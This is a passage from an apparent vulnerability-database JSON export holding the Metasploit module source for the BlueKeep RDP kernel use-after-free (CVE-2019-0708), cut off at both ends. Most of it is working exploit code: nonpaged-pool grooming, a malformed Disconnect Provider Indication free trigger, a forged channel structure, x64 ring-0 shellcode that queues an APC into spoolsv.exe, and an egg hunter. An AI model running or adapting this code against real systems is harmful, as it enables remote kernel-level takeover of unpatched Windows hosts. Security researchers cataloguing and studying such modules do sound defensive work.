rdi\n;--------------------------- END HACK EGG USER ------------\n\n    mov ecx, 0x380  ; fix payload size to 0x380 bytes\n\n    rep movsb\n\n    ;======================================\n    ; find CreateThread address (in kernel32.dll)\n    ;======================================\n    mov rax, [rbp+#{data_peb_addr_offset}]\n    mov rax, [rax + 0x18]       ; PEB->Ldr\n    mov rax, [rax + 0x20]       ; InMemoryOrder list\n\n    ;lea rsi, [rcx + rdx]    ; rsi = ThreadListHead address\n    ;mov rbx, rsi    ; use rbx for iterating thread\n_find_kernel32_dll_loop:\n    mov rax, [rax]       ; first one always be executable\n    ; offset 0x38 (WORD)  => must be 0x40 (full name len c:\\windows\\system32\\kernel32.dll)\n    ; offset 0x48 (WORD)  => must be 0x18 (name len kernel32.dll)\n    ; offset 0x50  => is name\n    ; offset 0x20  => is dllbase\n    ;cmp word [rax+0x38], 0x40\n    ;jne _find_kernel32_dll_loop\n    cmp word [rax+0x48], 0x18\n    jne _find_kernel32_dll_loop\n\n    mov rdx, [rax+0x50]\n    ; check only \"32\" because name might be lowercase or uppercase\n    cmp dword [rdx+0xc], 0x00320033   ; 3\\x002\\x00\n    jnz _find_kernel32_dll_loop\n\n    mov r15, [rax+0x20]\n    mov edi, #{createthread_hash}\n    call get_proc_addr\n\n    ; save CreateThread address to SystemArgument1\n    mov [rbx], rax\n\n_kernel_kapc_routine_exit:\n    xor ecx, ecx\n    ; clear queueing kapc flag, allow other hijacked system call to run shellcode\n    mov byte [rbp+#{data_queueing_kapc_offset}], cl\n    ; restore IRQL to APC_LEVEL\n    mov cl, 1\n    mov cr8, rcx\n\n    pop r15\n    pop rsi\n    pop rdi\n    pop rbx\n    pop rbp\n    ret\n\nuserland_start_thread:\n    ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)\n    xchg rdx, rax   ; rdx is CreateThread address passed from kernel\n    xor ecx, ecx    ; lpThreadAttributes = NULL\n    push rcx        ; lpThreadId = NULL\n    push rcx        ; dwCreationFlags = 0\n    mov r9, rcx     ; lpParameter = NULL\n    lea r8, [rel userland_payload]  ; lpStartAddr\n    mov edx, ecx    ; dwStackSize = 0\n    sub rsp, 0x20\n    call rax\n    add rsp, 0x30\n    ret\n\nuserland_payload:\n    ^\n\n    [\n      KERNELMODE_EGG,\n      assemble_with_fixups(asm)\n    ].pack('<Qa*')\n  end\n\n  def create_free_trigger(chan_user_id, chan_id)\n    # malformed Disconnect Provider Indication PDU (opcode: 0x2, total_size != 0x20)\n    vprint_status(\"Creating free trigger for user #{chan_user_id} on channel #{chan_id}\")\n    # The extra bytes on the end of the body is what causes the bad things to happen\n    body = \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\" + \"\\x00\" * 22\n    rdp_create_channel_msg(chan_user_id, chan_id, body, 3, 0xFFFFFFF)\n  end\n\n  def create_exploit_channel_buffer(target_addr)\n    overspray_addr = target_addr + 0x2000\n    shellcode_vtbl = target_addr + HEADER_SIZE\n    magic_value1 = overspray_addr + 0x810\n    magic_value2 = overspray_addr + 0x48\n    magic_value3 = overspray_addr + CHUNK_SIZE + HEADER_SIZE\n\n    # first 0x38 bytes are used by DATA PDU packet\n    # exploit channel starts at +0x38, which is +0x20 of an _ERESOURCE\n    # http://www.tssc.de/winint/Win10_17134_ntoskrnl/_ERESOURCE.htm\n    [\n      [\n        # SystemResourceList (2 pointers, each 8 bytes)\n        # Pointer to OWNER_ENTRY (8 bytes)\n        # ActiveCount (SHORT, 2 bytes)\n        # Flag (WORD, 2 bytes)\n        # Padding (BYTE[4], 4 bytes) x64 only\n        0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)\n        0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)\n        magic_value2, # OwnerThread (ULONG, 8 bytes)\n        magic_value2, # TableSize (ULONG, 8 bytes)\n        0x0, # ActiveEntries (DWORD, 4 bytes)\n        0x0, # ContenttionCount (DWORD, 4 bytes)\n        0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)\n        0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)\n        0x0, # Reserved2 (PVOID, 8 bytes) x64 only\n        magic_value2, # Address (PVOID, 8 bytes)\n        0x0, # SpinLock (UINT_PTR, 8 bytes)\n      ].pack('<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),\n      [\n        magic_value2, # SystemResourceList (2 pointers, each 8 bytes)\n        magic_value2, # --------------------\n        0x0, # Pointer to OWNER_ENTRY (8 bytes)\n        0x0, # ActiveCount (SHORT, 2 bytes)\n        0x0, # Flag (WORD, 2 bytes)\n        0x0, # Padding (BYTE[4], 4 bytes) x64 only\n        0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)\n        0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)\n        magic_value2, # OwnerThread (ULONG, 8 bytes)\n        magic_value2, # TableSize (ULONG, 8 bytes)\n        0x0, # ActiveEntries (DWORD, 4 bytes)\n        0x0, # ContenttionCount (DWORD, 4 bytes)\n        0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)\n        0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)\n        0x0, # Reserved2 (PVOID, 8 bytes) x64 only\n        magic_value2, # Address (PVOID, 8 bytes)\n        0x0, # SpinLock (UINT_PTR, 8 bytes)\n      ].pack('<Q<Q<Q<S<S<L<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),\n      [\n        0x1F, # ClassOffset (DWORD, 4 bytes)\n        0x0, # bindStatus (DWORD, 4 bytes)\n        0x72, # lockCount1 (QWORD, 8 bytes)\n        magic_value3, # connection (QWORD, 8 bytes)\n        shellcode_vtbl, # shellcode vtbl ? (QWORD, 8 bytes)\n        0x5, # channelClass (DWORD, 4 bytes)\n        \"MS_T120\\x00\".encode('ASCII'), # channelName (BYTE[8], 8 bytes)\n        0x1F, # channelIndex (DWORD, 4 bytes)\n        magic_value1, # channels (QWORD, 8 bytes)\n        magic_value1, # connChannelsAddr (POINTER, 8 bytes)\n        magic_value1, # list1 (QWORD, 8 bytes)\n        magic_value1, # list1 (QWORD, 8 bytes)\n        magic_value1, # list2 (QWORD, 8 bytes)\n        magic_value1, # list2 (QWORD, 8 bytes)\n        0x65756c62, # inputBufferLen (DWORD, 4 bytes)\n        0x7065656b, # inputBufferLen (DWORD, 4 bytes)\n        magic_value1, # connResrouce (QWORD, 8 bytes)\n        0x65756c62, # lockCount158 (DWORD, 4 bytes)\n        0x7065656b, # dword15C (DWORD, 4 bytes)\n      ].pack('<L<L<Q<Q<Q<La*<L<Q<Q<Q<Q<Q<Q<L<L<Q<L<L')\n    ].join('')\n  end\n\nend\n",
        "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb",
        "cvss": {
            "score": 10.0,
            "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"
        },
        "vhref": "https://vulners.com/metasploit/MSF:EXPLOIT/WINDOWS/RDP/CVE_2019_0708_BLUEKEEP_RCE/"
    },
    {
        "lastseen": "2020-10-13T17:01:07",
        "bulletinFamily": "exploit",
        "description": "The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120, allowing a malformed Disconnect Provider Indication message to cause use-after-free. With a controllable data/size remote nonpaged pool spray, an indirect call gadget of the freed channel is used to achieve arbitrary code execution. Windows 7 SP1 and Windows Server 2008 R2 are the only currently supported targets. Windows 7 SP1 should be exploitable in its default configuration, assuming your target selection is correctly matched to the system's memory layout. HKLM\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Winstations\\RDP-Tcp\\fDisableCam *needs* to be set to 0 for exploitation to succeed against Windows Server 2008 R2. This is a non-standard configuration for normal servers, and the target will crash if the aforementioned Registry key is not set! If the target is crashing regardless, you will likely need to determine the non-paged pool base in kernel memory and set it as the GROOMBASE option.\n",
        "modified": "2020-10-02T20:00:37",
        "id": "MSF:EXPLOIT/WINDOWS/RDP/CVE_2019_0708_BLUEKEEP_RCE",
        "href": "",
        "published": "2019-09-19T11:05:08",
        "type": "metasploit",
        "title": "CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free",
        "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\n#  Exploitation and Caveats from zerosum0x0:\n#\n#    1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally.\n#    2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py)\n#    3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120.\n#    4. RDP has chunked messages, so we use this to groom.\n#       a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120.\n#       b. However, on 7+, MS_T120 will not work and you have to use RDPSND.\n#           i. RDPSND only works when\n#              HKLM\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Winstations\\RDP-Tcp\\fDisableCam = 0\n#           ii. This registry key is not a default setting for server 2008 R2.\n#              We should use alternate groom channels or at least detect the\n#              channel in advance.\n#    5. Use chunked grooming to fit new data in the freed channel, account for\n#       the allocation header size (like 0x38 I think?). At offset 0x100? is where\n#       the \"call [rax]\" gadget will get its pointer from.\n#       a. The NonPagedPool (NPP) starts at a fixed address on XP-7\n#           i. Hot-swap memory is another problem because, with certain VMWare and\n#           Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP\n#           start. This can be anywhere from 100 mb to gigabytes of offset\n#           before the NPP start.\n#       b. Set offset 0x100 to NPPStart+SizeOfGroomInMB\n#       c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need\n#          [NPPStart+SizeOfGroomInMB+8...payload]... because \"call [rax]\" is an\n#          indirect call\n#       d. We are limited to 0x400 payloads by channel chunk max size. My\n#          current shellcode is a twin shellcode with eggfinders. I spam the\n#          kernel payload and user payload, and if user payload is called first it\n#          will egghunt for the kernel payload.\n#    6. After channel hole is filled and the NPP is spammed up with shellcode,\n#       trigger the free by closing the socket.\n#\n#    TODO:\n#    * Detect OS specifics / obtain memory leak to determine NPP start address.\n#    * Write the XP/2003 portions grooming MS_T120.\n#    * Detect if RDPSND grooming is working or not?\n#    * Expand channels besides RDPSND/MS_T120 for grooming.\n#        See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/\n#\n#    https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming\n#    MS_T120 on XP... should be same process as the RDPSND\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n  Rank = ManualRanking\n\n  USERMODE_EGG = 0xb00dac0fefe31337\n  KERNELMODE_EGG = 0xb00dac0fefe42069\n\n  CHUNK_SIZE = 0x400\n  HEADER_SIZE = 0x48\n\n  include Msf::Exploit::Remote::RDP\n  include Msf::Exploit::Remote::CheckModule\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'           => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free',\n      'Description'    => %q(\n        The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,\n        allowing a malformed Disconnect Provider Indication message to cause use-after-free.\n        With a controllable data/size remote nonpaged pool spray, an indirect call gadget of\n        the freed channel is used to achieve arbitrary code execution.\n\n        Windows 7 SP1 and Windows Server 2008 R2 are the only currently supported targets.\n\n        Windows 7 SP1 should be exploitable in its default configuration, assuming your target\n        selection is correctly matched to the system's memory layout.\n\n        HKLM\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Winstations\\RDP-Tcp\\fDisableCam\n        *needs* to be set to 0 for exploitation to succeed against Windows Server 2008 R2.\n        This is a non-standard configuration for normal servers, and the target will crash if\n        the aforementioned Registry key is not set!\n\n        If the target is crashing regardless, you will likely need to determine the non-paged\n        pool base in kernel memory and set it as the GROOMBASE option.\n      ),\n      'Author' =>\n      [\n        'Sean Dillon <sean.dillon@risksense.com>',  # @zerosum0x0 - Original exploit\n        'Ryan Hanson',                              # @ryHanson - Original exploit\n        'OJ Reeves <oj@beyondbinary.io>',           # @TheColonial - Metasploit module\n        'Brent Cook <bcook@rapid7.com>',            # @busterbcook - Assembly whisperer\n      ],\n      'License' => MSF_LICENSE,\n      'References' =>\n        [\n          ['CVE', '2019-0708'],\n          ['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'],\n          ['URL', 'https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html']\n        ],\n      'DefaultOptions' =>\n        {\n          'RDP_CLIENT_NAME' => 'ethdev',\n          'EXITFUNC' => 'thread',\n          'CheckModule' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep',\n          'WfsDelay' => 5\n        },\n      'Privileged' => true,\n      'Payload' =>\n        {\n          'Space' => CHUNK_SIZE - HEADER_SIZE,\n          'EncoderType' => Msf::Encoder::Type::Raw,\n        },\n      'Platform' => 'win',\n      'Targets' =>\n        [\n          [\n            'Automatic targeting via fingerprinting',\n            {\n              'Arch' => [ARCH_X64],\n              'FingerprintOnly' => true\n            },\n          ],\n          #\n          #\n          # Windows 2008 R2 requires the following registry change from default:\n          #\n          # [HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\WinStations\\rdpwd]\n          # \"fDisableCam\"=dword:00000000\n          #\n          [\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8003800000,\n              'GROOMSIZE' => 100\n            }\n          ],\n          [\n            # This works with Virtualbox 6\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8002407000\n            }\n          ],\n          [\n            # This address works on VMWare 14\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8030c00000\n            }\n          ],\n          [\n            # This address works on VMWare 15\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8018C00000\n            }\n          ],\n          [\n            # This address works on VMWare 15.1\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8018c08000\n            }\n          ],\n          [\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8102407000\n            }\n          ],\n          [\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8018c08000\n            }\n          ],\n          [\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - QEMU/KVM)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8004428000\n            }\n          ],\n        ],\n      'DefaultTarget' => 0,\n      'DisclosureDate' => '2019-05-14',\n      'Notes' =>\n        {\n          'AKA' => ['Bluekeep']\n        }\n    ))\n\n    register_advanced_options(\n      [\n        OptBool.new('ForceExploit', [false, 'Override check result', false]),\n        OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]),\n        OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]),\n        OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]),\n        OptFloat.new('GROOMDELAY', [false, 'Delay in seconds between sending 1 MB of groom packets', 0])\n      ]\n    )\n  end\n\n  def exploit\n    unless check == CheckCode::Vulnerable || datastore['ForceExploit']\n      fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')\n    end\n\n    if target['FingerprintOnly']\n      fail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually. If you are targeting 2008, make sure fDisableCam=0 !')\n    end\n\n    begin\n      rdp_connect\n    rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError\n      fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')\n    end\n\n    is_rdp, server_selected_proto = rdp_check_protocol\n    unless is_rdp\n      fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')\n    end\n\n    # We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us\n    # from exploiting the target.\n    if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto)\n      fail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.')\n    end\n\n    chans = [\n      ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP],\n      [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],\n      [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],\n      ['MS_XXX0', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\n      ['MS_XXX1', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\n      ['MS_XXX2', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\n      ['MS_XXX3', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\n      ['MS_XXX4', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\n      ['MS_XXX5', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\n      ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\n    ]\n\n    @mst120_chan_id = 1004 + chans.length - 1\n\n    unless rdp_negotiate_security(chans, server_selected_proto)\n      fail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.')\n    end\n\n    rdp_establish_session\n\n    rdp_dispatch_loop\n  end\n\nprivate\n\n  # This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is\n  # received on a channel, and this is when we need to kick off our exploit.\n  def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data)\n    # We have to do the default behaviour first.\n    super(pkt, user, chan_id, flags, data)\n\n    groom_size = datastore['GROOMSIZE']\n    pool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size)\n    groom_chan_count = datastore['GROOMCHANNELCOUNT']\n\n    payloads = create_payloads(pool_addr)\n\n    print_status(\"Using CHUNK grooming strategy. Size #{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.\")\n\n    target_channel_id = chan_id + 1\n\n    spray_buffer = create_exploit_channel_buffer(pool_addr)\n    spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF)\n    free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80\n\n    # if the exploit is cancelled during the free, target computer will explode\n    print_warning(\"<---------------- | Entering Danger Zone | ---------------->\")\n\n    print_status(\"Surfing channels ...\")\n    rdp_send(spray_channel * 1024)\n    rdp_send(free_trigger)\n\n    chan_surf_size = 0x421\n    spray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min\n    chan_surf_packet = spray_channel * spray_packets\n    chan_surf_count  = chan_surf_size / spray_packets\n\n    chan_surf_count.times do\n      rdp_send(chan_surf_packet)\n    end\n\n    print_status(\"Lobbing eggs ...\")\n\n    groom_mb = groom_size * 1024 / payloads.length\n\n    groom_start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)\n\n    groom_mb.times do |current_groom_count|\n      tpkts = ''\n      for c in 0..groom_chan_count\n        payloads.each do |p|\n          tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF)\n        end\n      end\n      rdp_send(tpkts)\n\n      # tasks we do every 1 MB\n      if current_groom_count % (1024 / payloads.length) == 0\n\n        # adding mouse move events keeps the connection alive\n        # (this handles a groom duration > 30 seconds, such as over Internet/VPN)\n        rdp_move_mouse\n\n        # simulate slow connection if GROOMDELAY is set\n        if datastore['GROOMDELAY'] && datastore['GROOMDELAY'] > 0\n          sleep(datastore['GROOMDELAY'])\n        end\n\n        groom_current_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)\n        groom_elapsed_time = groom_current_time - groom_start_time\n        groom_elapsed_str = \"%02d:%02d:%02d\" % [groom_elapsed_time / 3600,\n                                                groom_elapsed_time / 60%60,\n                                                groom_elapsed_time % 60]\n\n        groom_mb_sent = current_groom_count / (1024 / payloads.length) + 1\n        vprint_status(\"Sent #{groom_mb_sent}/#{groom_size} MB. (Time elapsed: #{groom_elapsed_str})\")\n      end\n    end\n\n    # Terminating and disconnecting forces the USE\n    print_status(\"Forcing the USE of FREE'd object ...\")\n\n    # target is groomed, the early cancellation dangers are complete\n    print_warning(\"<---------------- | Leaving Danger Zone | ---------------->\")\n    rdp_terminate\n    rdp_disconnect\n  end\n\n  # Helper function to create the kernel mode payload and the usermode payload with\n  # the egg hunter prefix.\n  def create_payloads(pool_address)\n    begin\n      [kernel_mode_payload, user_mode_payload].map { |p|\n        [\n          pool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg\n          p\n        ].pack('<Qa*').ljust(CHUNK_SIZE - HEADER_SIZE, \"\\x00\")\n      }\n    rescue => ex\n      print_error(\"#{ex.backtrace.join(\"\\n\")}: #{ex.message} (#{ex.class})\")\n    end\n  end\n\n  def assemble_with_fixups(asm)\n    # Rewrite all instructions of form 'lea reg, [rel label]' as relative\n    # offsets for the instruction pointer, since metasm's 'ModRM' parser does\n    # not grok that syntax.\n    lea_rel = /lea+\\s(?<dest>\\w{2,3}),*\\s\\[rel+\\s(?<label>[a-zA-Z_].*)\\]/\n    asm.gsub!(lea_rel) do |match|\n      match = \"lea #{$1}, [rip + #{$2}]\"\n    end\n\n    # metasm encodes all rep instructions as repnz\n    # https://github.com/jjyg/metasm/pull/40\n    asm.gsub!(/rep+\\smovsb/, 'db 0xf3, 0xa4')\n\n    encoded = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encoded\n\n    # Fixup above rewritten instructions with the relative label offsets\n    encoded.reloc.each do |offset, reloc|\n      target = reloc.target.to_s\n      if encoded.export.key?(target)\n        # Note: this assumes the address we're fixing up is at the end of the\n        # instruction. This holds for 'lea' but if there are other fixups\n        # later, this might need to change to account for specific instruction\n        # encodings\n        if reloc.type == :i32\n          instr_offset = offset + 4\n        elsif reloc.type == :i16\n          instr_offset = offset + 2\n        end\n        encoded.fixup(target => encoded.export[target] - instr_offset)\n      else\n        raise \"Unknown symbol '#{target}' while resolving relative offsets\"\n      end\n    end\n    encoded.fill\n    encoded.data\n  end\n\n  # The user mode payload has two parts. The first is an egg hunter that searches for\n  # the kernel mode payload. The second part is the actual payload that's invoked in\n  # user land (ie. it's injected into spoolsrv.exe). We need to spray both the kernel\n  # and user mode payloads around the heap in different packets because we don't have\n  # enough space to put them both in the same chunk. Given that code exec can result in\n  # landing on the user land payload, the egg is used to go to a kernel payload.\n  def user_mode_payload\n\n    asm = %Q^\n_start:\n    lea rcx, [rel _start]\n    mov r8, 0x#{KERNELMODE_EGG.to_s(16)}\n_egg_loop:\n    sub rcx, 0x#{CHUNK_SIZE.to_s(16)}\n    sub rax, 0x#{CHUNK_SIZE.to_s(16)}\n    mov rdx, [rcx - 8]\n    cmp rdx, r8\n    jnz _egg_loop\n    jmp rcx\n    ^\n    egg_loop = assemble_with_fixups(asm)\n\n    # The USERMODE_EGG is required at the start as well, because the exploit code\n    # assumes the tag is there, and jumps over it to find the shellcode.\n    [\n      USERMODE_EGG,\n      egg_loop,\n      USERMODE_EGG,\n      payload.raw\n    ].pack('<Qa*<Qa*')\n  end\n\n  def kernel_mode_payload\n\n    # Windows x64 kernel shellcode from ring 0 to ring 3 by sleepya\n    #\n    # This shellcode was written originally for eternalblue exploits\n    # eternalblue_exploit7.py and eternalblue_exploit8.py\n    #\n    # Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0)\n    #\n    # Note:\n    # - The userland shellcode is run in a new thread of system process.\n    #     If userland shellcode causes any exception, the system process get killed.\n    # - On idle target with multiple core processors, the hijacked system call\n    #     might take a while (> 5 minutes) to get called because the system\n    #     call may be called on other processors.\n    # - The shellcode does not allocate shadow stack if possible for minimal shellcode size.\n    #     This is ok because some Windows functions do not require a shadow stack.\n    # - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed.\n    #     Note: the Windows 8 version macros are removed below\n    # - The userland payload MUST be appened to this shellcode.\n    #\n    # References:\n    # - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)\n    # - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c\n\n    data_kapc_offset           = 0x30\n\n    data_hal_original_syscall_shadow_common_offset_offset = 0x20\n    data_hal_fake_syscall_spinlock_offset = 0x10\n\n    data_nt_kernel_addr_offset = 0x8\n    data_origin_syscall_offset = 0\n    data_peb_addr_offset       = -0x10\n    data_queueing_kapc_offset  = -0x8\n    hal_heap_storage           = 0xffffffffffd04100\n\n    # These hashes are not the same as the ones used by the\n    # Block API so they have to be hard-coded.\n    createthread_hash              = 0x835e515e\n    keinitializeapc_hash           = 0x6d195cc4\n    keinsertqueueapc_hash          = 0xafcc4634\n    psgetcurrentprocess_hash       = 0xdbf47c78\n    psgetprocessid_hash            = 0x170114e1\n    psgetprocessimagefilename_hash = 0x77645f3f\n    psgetprocesspeb_hash           = 0xb818b848\n    psgetthreadteb_hash            = 0xcef84c3e\n    spoolsv_exe_hash               = 0x3ee083d8\n    zwallocatevirtualmemory_hash   = 0x576e99ea\n\n    asm = %Q^\nshellcode_start:\n    ; egg tag\n    nop\n    nop\n    nop\n    nop\n\nsetup_syscall_shadow_hook:\n    ; IRQL is PASSIVE_LEVEL when got code execution\n    ;int 0x3\n\n    mov rbp, #{hal_heap_storage}\n\n    ; allow interrupts while executing shellcode\n    sti\n    call r3_to_r0_start\n    cli\n\n    ;--------------------- HACK crappy thread cleanup --------------------\n    ; This code is effectively the same as the epilogue of the function that calls\n    ; the vulnerable function in the kernel, with a tweak or two.\n    ; TODO: make the lock not suck!!\n    mov     rax, qword [gs:0x188]\n    add     word [rax+0x1C4], 1       ; KeGetCurrentThread()->KernelApcDisable++\n    lea     r11, [rsp+0b8h]\n    xor     eax, eax\n    mov     rbx, [r11+30h]\n    mov     rbp, [r11+40h]\n    mov     rsi, [r11+48h]\n    mov     rsp, r11\n    pop     r15\n    pop     r14\n    pop     r13\n    pop     r12\n    pop     rdi\n    ret\n\nr3_to_r0_start:\n    ; save used non-volatile registers\n    push r15\n    push r14\n    push rdi\n    push rsi\n    push rbx\n    push rax    ; align stack by 0x10\n\n    ;======================================\n    ; find nt kernel address\n    ;======================================\n    mov r15, qword [gs:0x38]                          ; get IdtBase of KPCR\n    mov r15, qword [r15 + 0x4]                        ; get ISR address\n    shr r15, 0xc                                      ; strip to page size\n    shl r15, 0xc\n\n_x64_find_nt_walk_page:\n    sub r15, 0x1000             ; walk along page size\n    cmp word [r15], 0x5a4d      ; 'MZ' header\n    jne _x64_find_nt_walk_page\n\n    ; save nt address for using in KernelApcRoutine\n    mov [rbp+#{data_nt_kernel_addr_offset}], r15\n\n    ;======================================\n    ; get current EPROCESS and ETHREAD\n    ;======================================\n    mov r14, qword [gs:0x188]    ; get _ETHREAD pointer from KPCR\n    mov edi, #{psgetcurrentprocess_hash}\n    call win_api_direct\n    xchg rcx, rax       ; rcx = EPROCESS\n\n    ; r15 : nt kernel address\n    ; r14 : ETHREAD\n    ; rcx : EPROCESS\n\n    ;======================================\n    ; find offset of EPROCESS.ImageFilename\n    ;======================================\n    mov edi, #{psgetprocessimagefilename_hash}\n    call get_proc_addr\n    mov eax, dword [rax+3]  ; get offset from code (offset of ImageFilename is always > 0x7f)\n    mov ebx, eax        ; ebx = offset of EPROCESS.ImageFilename\n\n\n    ;======================================\n    ; find offset of EPROCESS.ThreadListHead\n    ;======================================\n    ; possible diff from ImageFilename offset is 0x28 and 0x38 (Win8+)\n    ; if offset of ImageFilename is more than 0x400, current is (Win8+)\n\n    cmp eax, 0x400      ; eax is still an offset of EPROCESS.ImageFilename\n    jb _find_eprocess_threadlist_offset_win7\n    add eax, 0x10\n_find_eprocess_threadlist_offset_win7:\n    lea rdx, [rax+0x28] ; edx = offset of EPROCESS.ThreadListHead\n\n    ;======================================\n    ; find offset 